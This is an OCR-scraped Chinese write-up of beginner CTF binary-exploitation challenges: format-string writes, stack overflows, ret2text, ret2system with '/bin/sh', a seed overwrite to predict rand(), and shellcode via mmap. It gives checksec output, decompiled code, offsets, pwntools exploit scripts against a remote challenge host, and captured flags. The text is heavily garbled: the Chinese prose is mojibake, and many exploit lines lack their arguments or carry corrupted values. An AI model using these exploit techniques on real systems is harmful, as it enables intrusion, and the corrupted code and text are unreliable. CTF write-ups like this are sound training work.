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Sechecksec—F, iR HLE, BFEHBPE.

S checksec Test

[*] '/home/ubuntu/5 M@/ /Test’
Arch: 1386-32-1little
RELRO: Partial RELRO
Stack:

NX:
PIE:

stack:

canary found Z8IZ/TEFH, SitcanaryBUH BN —ANrbp e [ FIME, 7518 H B BT rop 22 7 I {E M canary FIE 4T — /N
(RE—T, BRAL0D) , WESHE, MIET_stack_chk_faileki%

NX

BRI N AN IAT, R Ashellcodely, BF&EERIERME LHATHES, XMECPUIH R, FAaikE
AT

PIE
T2 PP 35 7E BE AL 3t 1k
ASLR

BMESCEIT R T PIEMRY, ER/EIFTHASLRY 2 HIEFTELZE AL



WG BAH E 3202 EFI32(LIDA, #E TFF5

int _ cdecl main(int argc, const char **argv, const char **envp)

2

3 DWORD BYREF
4 __int16 v [esp+26h] [ebp-76h]

5/ char s[100]; // [esp+28h] [ebp-74h] BYREF

6| unsigned int v7; [esp+8Ch] [ebp-16h]

8 /= _ readgsdword(8x14u);

9 setbuf(stdin, @);

10| setbuf(stdout, @);

11| setbuf(stderr, 8);

12| buf[e] = @;

12| buf[1] = @;

14 s = 8;

15 memset(s, @, sizeof(s));

16| puts(“please tell me your name:");

17! read(®, buf, 8xAu);

18| puts("leave your message please:");

19| fgets(s, 108, stdin);

20| printf("hello %s", (const char *)buf});
21| puts("your message is:");

22| printf(s);

23| if ( pwnme == 8 )

240 {

25 puts("you pwned me, here is your flag:\n");
26 system("cat flag");

27 %

28| else

29 {

30 puts("Thank you!");

31}

32| return 9;

X B Blprintfif B A 8 @ format, FEKRMFERFBRRE, RTFEIMEZFRRRE, XNMHIEMEZHEREE, XERRA
AMisi. Hige T pwnme=874%4RA1flag, HpwnmefEbssBIHAT T, X BB AANITE fbss, g

bss:0804A068 public pwnme

bss:B8RAAREE pwnme dd ? ; DATA XREF: main+1@5tr
bss:0804A068 bss ends

bss:0864A068

MBATAT ATt 2 B B T

=
Starting program: /home/ubuntu/E@E/pwn
please tell me your name:
1234

our message please:

{yu' ~

hello 1234

your message is:
3aaa.ffffdode.f7fb3580.1.0.1.F7FFD290.3231ba39.A3433.0.61616161.2e78252e.252e78
25.78252e78.2e78252e.252e5825.58252e78. 2E58252E.252e5825. 7T8252E78. 2E7B252E.252E
7825.78252e78.2e58252e.252e7825.58252e58.2e58252e.252e7825.78252E78.2e78252e.25
2E7825.58252E78.Thank you!

E¥ﬁf?ri?rﬂ} (Pr??ess 16837) exited normally] htt blog.csdn.net/qq_46441427

aaafMe1 A H 10, Sexp, M EHA


https://winny.work/%25E4%25B8%2580%25E7%25AF%2587%25E6%2596%2587%25E7%25AB%25A0%25E6%2590%259E%25E6%2587%2582%25E6%25A0%25BC%25E5%25BC%258F%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2%25E6%25BC%258F%25E6%25B4%259E/358.html
https://www.anquanke.com/post/id/85138

from pwn import

sh remote(

payload p32(0x0804A068)
.recvuntil(
.sendline( )
.recvuntil(
.sendline(payload)

.interactive()

payload®, TAIEHAK Zpwnmeltidlk, XFERE, WRER—MEBWFERFERE L, ST U %s ¥ HATENH Kk, Mk
a7 Rt el AT ER SR, ‘aaaa BN T MZAETp32 O MR, XFERIHA T/\ANF, 10882 AININIR KWL, Bl
NG RAEXA WascifFFE G E K10/, JETH K %ngi 2 F AR AN T8N FR, BT LA EHE %nipwnmeREHK8 T, &%

R IX AL JTAE 1 2%

SRR B ORI, B EIIES, MR)EIT8% ik 90T 04A068 I HRAME

4 Fprintf(p32 () aaaa%$10n, ...... WA B A NIRRT EAE. ... .pwnme), kR ITEpwnmeIEZE K8 T

hello pwn

- S checksec test
[*] '/home/python/Desktop/mid/test’
Arch: amd64-64-1little
RELRO: ELF

Stack:
NX:
PIE:



https://ainiya.xyz/2019/09/14/2019-gong-fang-shi-jie-pwn-ru-men-lian-xi/#toc-heading-3

checksec K644, HIER6447idatT ¢

1| _inted _ fastcall main(int al, char **a2, char **a3)
21

3| alarm(@x3Cu);

4] setbuf(stdout, @LL);

5 puts{"~~ welcome to ctf ~e "Y;

6| puts("lets get helloworld for bof");
7 read(0, &unk 681068, @x10ulLL);

3| if ( dword _60106C == 1853186401 )

9 sub_408686();

18| return OLL;

1

PUtIEMIANE T, #HEREEITENERR LK

read B RN EEFEHFHRIFE? 2601068

RIGBAVBE XA, if%HF160106¢H118531864011X — & Ehigk
ERENAFRIBFZRERS, BERIMZAITFMAKEURECS RN, wRdiH < 2I6C
##! fusr/bin/env python

from pwn import *

sh = remote('111.200.241.244",'524508")
sh.sendline('A' * 4 + 1853186401)

sh.interactive()

Zikexp
A LLE B %, (HEEFTEflag
BE—T, RNEEMP64 O o 6 0 o 0 0 0 o o

from pwn import

sh remote( 5 )
sh.sendline( 4 + p64(1853186401))

sh.interactive()

levelQ

[*] '/home/python/Desktop/mid/testl’
Arch: amd64-64-1little
RELRO:

Stack:
NX:
PIE:

BHcanary, PIEXH, AT, AT, HEAGE R shellcode B L, BB ERABA ST

BEEmManKH, FEAHRMG2AHRRARK, ERNSGSITITEFRLERATLURIE, 2ITE—hello world, R/EA3), &A%
AT/ 5pBHTRERF. XEERIMWAT, MizaxFiEbs, R TRIOFERNSERE.



1[int _ cdecl main(int argc, const char **argv, const char **envp)

{
write(1l, "Hello, World\n", @xDull);
return vulnerable function(1LL);

s g b

¥

Hello, World

PRIZE M -
WTHE, XEF—Aredfif, XMbufER—NREER, HHreadiy LUK EHEAF A 2 S X B i

1|ssize t vulnerable function()

24

3| char buf[128]; // [rsp+Bh] [rbp-8Bh] BYREF
4

5/ return read(®, buf, Bx200ull);

6(}

RbufiB Rz, &N T128KEMEMXKE, XBEMrRRE N, sZebp, FATH—BBKKBIEE Hebp, BRANEITHIIE

-H0PE0EOREBROREEE buf db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000068 r db 8 dup(?)

A H ik R e BT T

Function name

(7] _init_proc

7] sub_400440

F] write

F] _system

7] read

7] _libc_start main
7] __gmon _start__
(7] start

7] deregister_tm_clones
7] register_tm_clones
7] _do global dtors_aux
(7] frame_dummy
callsystem

[#] vulnerable function
7] main

(7] _libc_csu_init

[F] _libc_csu fini

7] term proc

7] write

| 7] system




7] read
7] _libc_start main
7] _gmon start__

RATERATI RsystemBi 3, 7EHEAE B E K Flcallsystem
1#0x400596/E A THIIR Bl Huhk

.text:0000000000480596 ; ===============S U B R 0O U T I N E ===============c—ooooo
-text:0000000000480596

.text:0000000000400596 ; Attributes: bp-bhased frame

-text:0000000000480596

-text:0P0RORERERABO596 public callsystem
-text:0000000000400596 callsystem proc near

-text:0000000000400596 ; _ unwind {

-text:0P0RORERERABO596 push rbp

-text:0000000000480597 mowv rbp, rsp

.text:0P0RRRARERABR59A mov edi, offset command ; “/bin/sh"
.text:000000000040059F call _system

.text:00000000004005A4 pop rbp

-text:00000000004005A5 retn

-text:00000000004005A5 ; } // starts at 400586

_text: A0AAAAAAARLAASAS callsvstem endn

XEA128118, HAR64BIH, FTLlpayloaditfii% & 13641 0x400596

253 TR A
XERMNERFlpeda, ZROSHRLEH, REZEHRER

pattern create 200
'AAAKAASAABAASAANAACAA-AA(AADAA; AA)AAEAAIAABAAFAADAALAAGAACAAZAAHAAAASAATAACAA

AAAJAATAASAAKAAGAAGAALAARAATAAMAALAABAANAAJAASAADAAKAAPAATAAQAAMAARAACAASAADAAT
AAQAAUAAT AAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYA '

# Hpeda: B— 200/ BEHLFF 51

E
Starting program: /home/ubuntu/E@E/pwn

Hello, World

AAAKAASAABAASAANAACAA-AA(AADAA; AA)AAEAASAADAAFAADAATAAGAACAAZARAHAADAASAATAAEAAS

AAJAATAASAAKAAGAAGAALAARAATAAMAATAABAANAAJAAIAAOAAKAAPAATAAQAAMAARAACAASAADAATA
AgAAUAAT AAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYA

Program received signal SIGSEGV, Segmentation fault.




[

BATERBINX—EFRHAES, WA

“+— push
“+— Cmp

! 4— 0x41416d4141514141 ('ﬁthﬁqﬁﬁ

blog.csdn.net/gqg_4¢
4 ret - -

X B Rregister@ H, #AIEHlebpii%idE, REHMS, pattern oddset F45H BRI LLE | flebpZ B M wE £ Z DT

pattern offset AkAaAPAAL
AkAAPAAL found at offset: 128

128, WHEA FI¥A BN A RebpZ B, ALK

pattern create 200
'AﬁhﬁﬂﬂﬂﬁhBhA$ﬁhnhﬁCﬁh-Aﬁ(HADAH;ﬁh)hﬁEﬁﬁaﬁhﬂhﬁFﬁhbhﬁ1HAGAACAA2AHHHAdAH3ﬁAIhﬁeﬁh
4R JAATAASAAKAAGAAGAALAARAATAAMAATAABAANAA JAASAADAAKAAPAATAAQAAMAARAAOAASAADPAAT
AAQAAUAATAAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYA'

pattern offset %AAs
%AAs found at offset: 3

&, FLAZRTARLETR R R ebp 2 HIHIME, FTUARAIRE 5538136 + Huhikfpayload

from pwn import

sh remote(

sh.recvuntil(

sh.sendline( 136 p64(0x400596) )
sh.interactive()

5 3flag:

1s
bin
dev
flag
level®
1ib

1ib32
lib64

cat flag
cyberpeace{caﬁ@abc99d9fﬂﬁ?




] '/home/python/Desktop/mid/test’
Arch: amd64-64-little
RELRO: tial RE

Stack:
NX:
PI1E:

FJ)71:, Echecksec, fEdtidasrir, ®APIE, {HRH canary

¥

—

vH = _ readfsgword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, OLL);
setbuf(stderr, OLL);
puts("What's Your Birth?");
_1s50c99 scanf("%d", v5);
while ( getchar() != 18 )

ifJ( v5[0] == 1926 )

{
puts("You Cannot Born In 192a6!");
result = OLL;

¥

else

{
puts("What's Your Name?");
gets(vd);

printf("You Are Born In %d\n", v5[0]);
it ( vs[@] == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
¥
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
¥
result = OLL;
¥

return result;



BANMER AL EBITER, #1790, KRANESABRMNE—NRE, RIVWEIZEEEVS, MRRNMEZET 1926, E&BHE
7, RARZE1926, EE&EBM—AHM, XA EEFEVLEE

__int64 result; // rax

char v4[8]; // [rsp+0h] [rbp-20h] BYREF
unsigned int v5[41; // [rsp+8h] [rbp-18h] BYREF
unsigned  int6d vo; ff [rsp+18h] [rbp-8h]

var_2e db 8 dup(?)
var_18 dd 4 dup(?)
var_8 dg 7
s db 8 dup(?)
r db 8 dup(?)

BATTLAGE, LHERVA, THEHREVS, BAVAZERNVSBIT AN EE
M exp

from pwn import
remote(
.recvuntil(
.sendline(
.recvuntil(
.sendline( 8 + p64(1926))
.interactive()

franex@franex-virtual-machine:~/5 S python pwnexp.py

[+] Opening connection to 111.200.241.244 on port 58405: Done
[*#] Switching to interactive mode

You Are Born In 1926

You Shall Have Flag.
cyberpeace{ab74daaBe4386a4125bTa9f87464b%ae}

[*i Got EOF while reading in interactive

B 3flag

int overflow

1int _ cdecl main(int argc, const char **argv, const char **envp)
2{

3| int v4; // [esp+Ch] [ebp-Ch] BYREF
4

5| setbuf(stdin, @);

6| setbuf({stdout, 8);

7| setbuf(stderr, @);

8| puts("------mmmmmmmooooo- "y

9| puts("~~ Welcome to CTF! ~~");

18| puts(” 1.Login ");

11) puts(” 2. Exit ");
12| puts( ------memmm oo ")
13| printf("Your choice:");

14 isoc99 scanf("%d", &v4);
15 if ((vd == 1)
16| {

17 login();




18| }
19| else
20| {
@21 if ((vd ==12)
22 {
® 23 puts("Bye~");
® 24 exit(e);
25 }
® 26 puts("Invalid Choice!");
270}
© 28| return 9;
@& 29}

Hi#% Fida®

int login(})

{
char buf[512]; // [esp+8h] [ebp-228h] BYREF
char s[48]; // [esp+200h] [ebp-28h] BYREF

memset(s, @, Bx20u);

memset(buf, @, sizeof(buf));
puts("Please input your username:");
read(@, =, 8x19u);

printf("Hello %s\n", s);
puts{"Please input your passwd:");
read(@, buf, @x199u);

return check_passwd(buf);

BATMAN1ZE, 1RVAKIE, $ATloginRi%, mitx
BEEWMAKSE, FHEIZRES, ERBAVMAENY, FAbUEME, MR/5HMITcheck_passwdii$l, HERE, XMERBHISR AT
AT HTbUf

char * cdecl check passwd{char *s})

{
char *result; [/ eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned  int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);

if (w2 <=3u || v > 8u)

—

puts("Invalid Password");
result = (char *)fflush(stdout);
¥

else

{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);
¥

return result;

REKWE, RNBISMEMAKE, KKTHAT

+000000ee s db 4 dup(?)

+00000084 r db 4 dup(?)

+00000088 = dd ? ; offset
+008000acC

+0000000C ; end of stack variables



BT T, stlen)SIEKERREEESal, alRkZAEH8L, BHRE11111111, BI255, WMRLTHWE, ®LE&E, 261
11100000101, M1EEARL101
WA, ®—T, RIGEAEMEsKERS dest, FIH destBE— M X it H

-00000014 dest db 11 dup(?)
9 var_g db
db
db
db
db
db
db
db
db

ao

=1
al

=1
t
[ =l

=1
t
[ =l

¢ =1
m m Mm M M M M
t
[ =l

]
= == =
[T T

T

I = L
o
-

L N L P W . "I L PR L Wi L ¥
il

+E AR S S dd

pattern create 261
'AAAKAASAABAASAANAACAA-AA(AADAA ; AA)AAEAAIAABAAFAADAATAAGAACAAZAAHAADAASAATAACAA
4HH]HHfHHSHHBHHQHHOHHLHHhHH?HHMHRiRHBHHNHH]HH9HHDHHLHHPHH1HHQHHNHHRHHOHHHHHpHHT
AAQAAUAAT AAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYAAZARKARSARBARSAKNAKRCAY - A% AXDAY ; A% ) A
HEAKAAKODARFAXDARIAKRGAKCAR '

r
Starting program: fhome}ubuntu}%ﬁﬁﬁfpwn

~~ Welcome to CTF!
1.Login

Your choice:1

Please input your username:
123

Hello 123

Please input your passwd:

AAAKAASAABAASAANAACAA- HH(HHDRR‘RH)HHEHHBHHOHHFHHbHHlHHGHHCHHZHHHHHdHHBHHIﬁhehﬁ4
AAJAATAASAAKAAQAAGAALAARAATAAMAATAABAANAAJARADA

AgAAUAATAAVAATAAWAAUAAXAAVAAY AAWAAZAAXAAYAAZAY SA%NA%CAY% - A%( A%D
EA%aA%OA%XFA%DA%1AKCAKCA%

Success ' og.csdn.r _ 46441427

) pedatfi & W%

EBP 0x41412d41 ('A-AA')



pattern offset A-AA

n-Af found at offset: 20

W% & HN20+4, payloadAVGCEHWBE, HRAHML, XAMEEEEEHKET, RATH LB FIHH261, HERMHEER
5, TEUUEwpT

K Blwhat is thiseh %, WA T systemigi %

.Text : usYaBbsEL public what_1s_this

.text:0804868B what_is this proc near
.text:0804868B ;  unwind {

.text: 08048688 push ebp

.text:0804868C mov ebp, esp

.text:0804868E sub esp, 8

.text:08048691 sub esp, @Ch

.text:08048694 push offset command ; "cat flag”
.text: 08048699 call _system

.text:0804869E add esp, 18h

.text:080486A1 nop

.text:080486A2 leave

.text:080486A3 retn

.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this endp
towt - ARAARAA3

Sexp:

from pwn import
remote ( ,31217)
(0x14+0x4) + p32(0X0804868B)
(261 (payload)))
p.sendlineafter(
.recvuntil(
.sendline(

.recvuntil(

.sendline(payload)

.interactive()

level2



] '/home/python/Desktop/mid/level2’
Arch: 1386-32-1little

RELRO:
Stack:
NX:
PIE:

BEHFBPIE, canaryi% A2, HENXZFEK, RPRIEIEREBITHR, XEA Propseid
M2 AR E —FERRTR, XEEE Lida

1int _ cdecl main(int argc, const char **argv, const char **envp)
£
{
3| wulnerable function();
4| system("echo ‘'Hello World!'"});
5/ return @;
6}
1|s5ize £ vulnerable function{)
2l{
3| char buf[136]; // [esp+@ ebp-88h] BYREF
4
5/ system("echo Input:");
6| return read(®, buf, 8x180u);
71}




BALX BT IR BB 2, Rread, {HR2IXHEsystem AR bin/sh’, A1 IpEIE B 7 FF 5 BUsbin/sh

.text:0804844B ;  unwind {

.text:0804844B push ebp

.text:0804844C mov ebp, esp

.text:0804844EF sub esp, 88h

.text:08048454 sub esp, @Ch

.text: 08048457 push offset command ; "echo Input:”
.text:09804845C call _system

.text:08048461 add esp, 18h

EATMEE— Fwinerable_functiongi %, ERICHIELSWT, FATLZLHEsystem B IH I ‘echo input Ni%, 4SR5 T Zcallfg
4, calfgLEAIAE, 1EFRITediZE MisystemfifE Fihil, Frpush T—2k$84HHhhl, kiR Bl bk
I B PR =

1 B4t systempR EEH

address
call svstem

command

push command

BATE —AMEE, FreadPUTEMW X EE, fEreadfretht BI#% 5 Ncall systemffiHitt, 2R/5 ' SH:E IR - FRATHIBEFE S\ IR
[l Hhk, FHEN—4command, AT LA F]system(‘command’ )& R T

AL Eexp T

from pwn import

p remote( ,47739)
elf = ELF(

system_addr = elf.symbols[

bin_addr elf.search( . @)

payload (ex8c) p32(system_addr) +p32(4)+p32(bin_addr)

p.sendlineafter( ,payload)

p.interactive()



FI Fls fcatft £ Flflag

franex@franex-virtual-machine:—f%ﬁﬁﬁ$ python pwnexp.py
[+] Opening connection to 111.200.241.244 on port 47739:
[#]1 '/home/franex/\xe6\xal\xBc\xe9\x9d\xa2/pwn'

Arch: i386-32-1little

RELRO: Partial RELRO

Stack:

NX:

PIE:

[#] switching to interactive mode

cyberpeace{5e1698ff6bf194e8294ab6323f00f 52} , . ~
I nttp: log.csdn.net/qg_46441427



T Hida

vl = _ readfsqword(@x28u);
setbuf(stdin, OLL);
setbuf(stdout, @LL);
setbuf(stderr, @GLL);

vl = @;

ve = 9;

*(_QWORD *)seed = sub_BBA();
puts(®------------ ")
puts("Welcome to a guess number game!");
puts(’----------m - ")

puts("Please let me know vour name!");
printf("Your name:");

gets(v7);
srand(seed[8]);
for ( 1 =@; 1 <=9; ++1 )
{
ve = rand() % 6 + 1;
printf("--------—----- Turn:%¥d------------- \n", (unsigned int)(i + 1});

printf("Please input your guess number:");
__is0c99_scanf("%d", &v4);

PULS ("~ - oo oF
if (vl I=ve )
{
puts("GG!");
exit(1);
¥
puts("Success!");
¥
sub_C3E();

return @LL;

BJE—sub_C3ELHEA R Aflag

| int64 sub_C3E()
it
| printf("You are a prophet!\nHere is your flag!");
o system(“"cat flag");

| return BGLL;

]

il

B RRAIMgtes (v7) , HV7XF R HIvar30 T st seed

i elelalalaalalvlalvlalalq Ly Tity R

-PPRREARERRRRRRALD

-PPRREARERRRRRRALD db ? ; undefined
-PPRRERRERRRRRASF db ? ; undefined
-PPRRERREARRRRASE db ? ; undefined
-PPRRERRERRRRAZD db ? ; undefined
-0000ARRRERRERAB3C var_3C dd ?
-0P00ARRRERRERAG38 var_38 dd ?
-000POR0E000EEA34 var 34 dd ?
-000POE0EO0RRER30 var 30 | db 32 dup(?)
-90PRRRRRRRRERA1E seed dd 2 dup(?)
-00BPOR0EO0ROEROE var 8 dg ?
+0000000000000008 s db 8 dup(?)
+000000000000RREE r db 8 dup(?)
+0000000000000010

+ARARARRRRARAARATA - end of stack variahles

fiseedja, AR LLHsrandE RIBATM A KIBEVLEMF, SR 1E 5 TH & — N A5 in B R W s =) B EERAT T



from pwn import

from ctypes import

p remote( ,46945)

cdll.LoadLibrary(

p.sendlineafter( ,payload)

for i in (10):

p.recvuntil(

p.sendline( (c.rand()%6 1))

p.interactive()

BEEHARZNE, ANERZAexpfEHRAS R H TRE WBCHAAHNCIESE, ECEMR—ANRENFT, J&THEEH LR T8
BEHLEE 1T ida B A H T ) 2 5
BT

ranex@franex-virtual-machine:~$ cd FMH
ranex@franex-virtual-machine:~/5HS$ python pwnexp.py

+] Opening connection to 111.200.241.244 on port 46945: Done
*] Switching to interactive mode

e a prophet!
ere is your flag!cyberpeace{c3b2c8157400bb50ee23fB8909acc7bf5}
*i Got EOF while reading in interactive

cgpwn2

a2/mid file/cgpwn2'

RELRO:

Stack:
NX:
PIE:

PIEEFHE, "#ATHE.
T FFida

int _ cdecl main(int argc, const char **argv, const char **envp)
{

setbuf(stdin, @);

setbuf(stdout, @);

setbuf(stderr, 8);

hello();

puts("thank you"});



return 9;

_intle *ve; [/ eax

int vl; // ebx

unsigned int v2; // =cx

__intle *v3; // eax

__intl6 s; // [esp+12h] [ebp-26h] BYREF
int ve; // [esp+14h] [ebp-24h] BYREF

vl = &s;
vl = 30;
if ( (Cunsigned _ int8)&s & 2) 1= 0 )
{
s = @;
vl = (__intl6 *)&v6;
vl = 28;
h
vl = 8;
do
{
*(_DWORD *)&va[vz / 2] = 8;
vl += 4;
h

while ( v2 < (vl & @xFFFFFFFC) );
vi o= &uB[v2 / 2];
if ( (v1 &2) !1=8)
4+ = 0;
if ( (v1 &1) 1=8)
*(_BYTE *)v3 = @;
puts{“"please tell me your name");
fgets(name, 5@, stdin);
puts{"hello,you can leave some message here:");
return gets({char *)&s);

1ant pwn{)
2i{

3| return system("echo hehehe");

a1y

—HiZH, HsystemA&'Dbin/sh’, BIHAEMNMEBMEXANERZ, FREMAL, Hgets, (HRZ2FEATIshift + FI2RIBA bin/sh’ FFF
5
BERBINER, AfgetsFH, EBMAKFEAnameZE, BATH LLUREIE bin/sh AN IX -/ name

HE MW

-00000026 s dw ?

-pEPRRLR24 db ? ; undefined
-PERORA23 db ? ; undefined
-PBERORA22 db ? ; undefined
-PBERORA21 db ? ; undefined
-PBEPORA2A db ? ; undefined
-PEROAB1F db ? ; undefined
-PBEROAB1E db ? ; undefined
-PBEREAR1D db ? ; undefined
-PeREAR1C db ? ; undefined
-PBERORA1B db ? ; undefined
-PERRBR1A db ? ; undefined
- RAARAGRATG Ah ? - nndafinad



JJJJJJJJ Wl s, e e
-PPRERE18 db ? ; undefined
-pPeeRa17 db ? ; undefined
-pPReRA16 db ? ; undefined
-PPRERA1S db ? ; undefined
-PReRe14 db ? ; undefined
-PPReRA13 db ? ; undefined
-PPReRA12 db ? ; undefined
-pRReRe11 db ? ; undefined
-pPReRA1A db ? ; undefined
-P0RREBF db ? ; undefined
-PPREREAE db ? ; undefined
-PPREREAD db ? ; undefined
-PBREREAC db ? ; undefined
-PPREREAB db ? ; undefined
-PEPRBRBA db ? ; undefined
-PPREREA9 db ? ; undefined
-PPREREAS db ? ; undefined
-pPReRea7 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-000BRe2 db ? ; undefined
-P000Re1 db ? : undefined

HHexp (HEM EEKlevel2iexpilt T7)

from pwn import

p remote( ,32899)

elf = ELF(

p.sendlineafter(

system_addr = elf.symbols|

bin_addr = elf.search( . @)

payload (0x26+0x4) p32(system_addr) +p32(4)+p32(bin_addr)

p.sendlineafter( ,payload)

p.interactive()




Franex@franex-virtual-machine:~/5[HS python pwnexp.py
[+] Opening connection to 111.200.241.244 on port 32899: Done
[*] '/home/franex/\xe6\xal\x8c\xed\x9d\xa2/pwn'

Arch: 1386-32-1little

RELRO: Partial RELRO

Stack:

NX:

PIE:

raceback (most recent call last):

File "pwnexp.py", Lline 13, in <module=
bin_addr = elf.search('/binfsh').next()

: { ion
|'l' |‘-=ll'.| L= b o=
[ XE4ES# connection to 111.200.241%8

KIAAAT, MELF 33— TFname

from pwn import

remote( ,32899)
elf = ELF(
p.sendlineafter(

system_addr = elf.symbols|

payload (0x26+0x4) p32(system_addr) +p32(4)+p32(0x0804A080)

p.sendlineafter( ,payload)

p.interactive()




franex@franex-virtual-machine: ~/&H

XHH(F) HRIEE) BERNV) BERGS) LiRT FEBIH)
NX:
PIE:
Traceback (most recent call last):
File "pwnexp.py", line 13, in <module=>
bin_addr = elf.search('/binfsh').next()
Stoplteration
[#*] Closed connection to 111.200.241.244 port 32899
franex@franex-virtual-machine:~/5HS$ python pwnexp.py
[+] Opening connection to 111.200.241.244 on port 32899: Done
[#]1 '/home/franex/\xe6\xal\xBc\xe2\x9d\xa2/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
LibreOFffice Writer
NX:
PIE:
[*] Switching to interactive mode

1s
bin
cgpwn?2
dev
flag
lib
1ib32
1ib64

Arch: amd64-64-1little
RELRO:

Stack:

NX:

PIE:

PEEAFIT, EEAFHREEHRATHT

T #fida

—
k
=

sl

k

-
r

al

5
2l
]

-

r
ai]
5
sl
(9]
M

_inted fastcall main(in

{
_DWORD *v4; /f [rsp+18h] [rbp-78h]

setbuf(stdout, @LL);

alarm(@x3Cu);

sub 4689996 (60LL) ;

vAd = malloc(BulLl);

*yd = 68;

vA[1] = 85;

puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[@] is ¥x\n", v4);
printf("secret[1] is #¥x\n", v4 + 1);
puts("do not tell anyone "});

sub 480D72(v4):



- o .2

put;f“The End..... Really?");
return BLL;
¥

S 40096 % $ (sub_40096 H#:H40096%61%) , LR MEREE—T, KUKEMHLH
RIBAVASEL T8N, RJ5*V4=v4[0]=68,V4[1]=85
SRJG T ElsecretO)h VAl , SUKVATE NS %, HA400D72F %, #EF—F

linsigned int64 fastcall sub 408D72(  int64 al)

{
char s[24]; // [rsp+18h] [rbp-208h] BYREF
unsigned  inted v3; // [rsp+28h] [rbp-8h]

v3 = _ readfsgword(@x28u);
puts("What should your character's name be:");
_iso0c99 _scanf("%s", s);
if ( strlen(s) <= @xC )
{
puts(“Creating a new player.");
sub_480A7D();
sub_4@8BB9();
sub_4@8CA6(a1);
¥

else

{
puts("Hei! What's up!™);
¥

return _ readfsqword(@x28u) ™ v3;

BRIV T —ANLF, FHEISE, HMSKKE, WmE/NF12 (1034 , NHHIT400A7D,400BB9,400CAG(al)EiH, %&F
—TF400A7D

char s1[8]; // [rsp+8h] [rbp-18h] BYREF
unsigned _ inted v2; // [rsp+8h] [rbp-8h]

v2 = _ readfsgword(@x28u);

puts(" This is a famous but guite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs™);
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts(“"room are velvet covered chairs and benches, which surround large oaken");
puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts("one corner you notice a fireplace.");

puts("There are two obvious exits: east, up.");

puts("But strange thing is ,no one there.");

puts("So, where you will gorfeast or up?:");

while ( 1)
{
_is0c99 _scanf("%s", =1);
if ( lstremp(s1, "east™) || !stremp(s1, "east") )
break;

puts(“hei! I'm secious!");
puts(“”So, where you will go?:");
¥
if ( strcemp(sl, "east") )
{
if ( !strcomp(s1, "up”) )
sub_4809DD();



puts("YOU KNOW WHAT YOU DO?");
exit(0);
¥

return _ readfsqword(@x28u) ~ vZ;

}

ERAmNeast, RE4S1, FaEBH, HEAIEF400BB9

unsigned _ int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch] BYREF
__inte4 v2; f/ [rsp+8h] [rbp-78h] BYREF
char format[104]; // [rsp+18h] [rbp-78h] BYREF
unsigned  int64 v4; // [rsp+78h] [rbp-8h]

vd = _ readfsqword(@x28u);
vZ2 = @LL;
puts({"You travel a short distance east.That's odd, anyone disappear suddenly");
puts("”, what happend?! You just travel , and find another hole");
puts{"You recall, a big black hole will suckk you into it! Know what should you do?");
puts(“go into there(1), or leave(®)?:");
_isoc99 scanf("%d", &v1);
if (vl ==1)
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_iz0c99 scanf("#1d", &v2);
puts("And, vou wish is:");
_iz0c99 scanf("¥%s", format);
puts("Your wish iz");
printf{format);
puts("I hear it, I hear it....");

}
return _ readfsqword(®x28u) ~ vi;

BRAVER], XEM printf(format) MR FHFERE! | | HEEHA, BEEI00AC6

unsigned int64  fastcall sub 480CA6({ DWORD *al)
{

void *vl1; f/ rsi

unsigned  int64 v3; // [rsp+l18h] [rbp-8h]

v3 = _ readfsqword(@x28u);

puts("Dragon say: HaHa! you were supposed to have a normal™);
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!™);
if ( *al == al[1] )
{

puts("Wizard: I will help you! USE ¥YOU SPELL"});

vl = mmap(@LL, @x1@eeuLL, 7, 33, -1, OLL);

read(@, vl, @x100uLL);

((void (__ fastcall *){_QWORD))v1)(@LL);
}

return _ readfsqword(0x28u) ™ v3;

XAMBA) S IEVI B B — N B B8 4T ((void (_ fastcall *)(_QWORD))v1)(eLL); FHA1iEpayload B Fix, {HREHITIX—&KiE
A ESa10l=a11lal XA R SE, HEEFa1ievd, W22 i v4I01=68XU%85



RBITRERF
Hefbida B L3RR, BTN Teat, 1, REFAKRRLEZRTSH, Flyouwishishf N\

o, where you will go?:

east

ou travel a short distance east.That's odd, anyone disappear suddenl
, what happend?! You just travel , and find another hole

ou recall, a big black hole will suckk you into it! Know what should
o into there(1), or leave(0)?:

voice heard in your mind
'"Give me an address'

, you wish is:
(X, %, %, %, 96X, 6, %, %, %, %6, %, %, %, 96, %, %, %X, %X , %X, %X

TR N7

if ( *al == al[1] )

{
puts{"Wizard: I will help you! USE YOU SPELL"});
vl = mmap(@LL, 0x1000ull, 7, 33, -1, OLL);
read(@, vi, BxlBBuLL};

) ((void (__fastcall *)(_QWORD)})v1)(@LL);

return _ readfsqword(0x28u) ™ v3;

HENERUE, —EEi0fEFHEAsystem(“bin/sh”)KIHL 23 454



from pwn import

remote( ,35013)

p.recvuntil(
.sendlineafter(
.sendlineafter(
.sendlineafter(
.sendlineafter( (addr, 16)))
.sendlineafter( ,payloadl)
.sendlineafter( ,payload2)

.interactive()

[+] Opening connection to 111.200.241.244 on port 35013: Done
[*#] Switching to interactive mode

cyberpeace{81a?f81bla?1c50b2939f092§§c
t

